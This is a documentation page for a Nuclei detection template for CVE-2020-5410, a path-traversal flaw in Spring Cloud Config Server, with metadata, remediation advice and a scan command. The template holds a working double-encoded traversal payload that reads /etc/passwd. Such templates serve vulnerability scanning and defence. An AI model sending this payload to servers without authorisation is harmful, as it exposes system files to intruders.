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Spring Cloud Config Server - Local File Inclusion

ID: CVE-2020-5410

Severity: high

Author: mavericknerd

Tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware

Description

Section titled “Description”

Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.

YAML Source

Section titled “YAML Source”
id: CVE-2020-5410


info:
  name: Spring Cloud Config Server - Local File Inclusion
  author: mavericknerd
  severity: high
  description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5410
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5410
    - https://github.com/Live-Hack-CVE/CVE-2020-5410
    - https://github.com/tdtc7/qps
    - https://github.com/alphaSeclab/sec-daily-2020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-5410
    cwe-id: CWE-23,CWE-22
    epss-score: 0.97175
    epss-percentile: 0.99813
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve,cve2020,lfi,springcloud,config,traversal,kev,vmware


http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402203f73b0510477430d27d464b11725ae727ee6e61ec80501864eb12ab79407c5f7022001c3f4159078c9e339d312d4c4f24454d0ee1a19cb89f3732e7d8c471d9ec2b6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5410.yaml"

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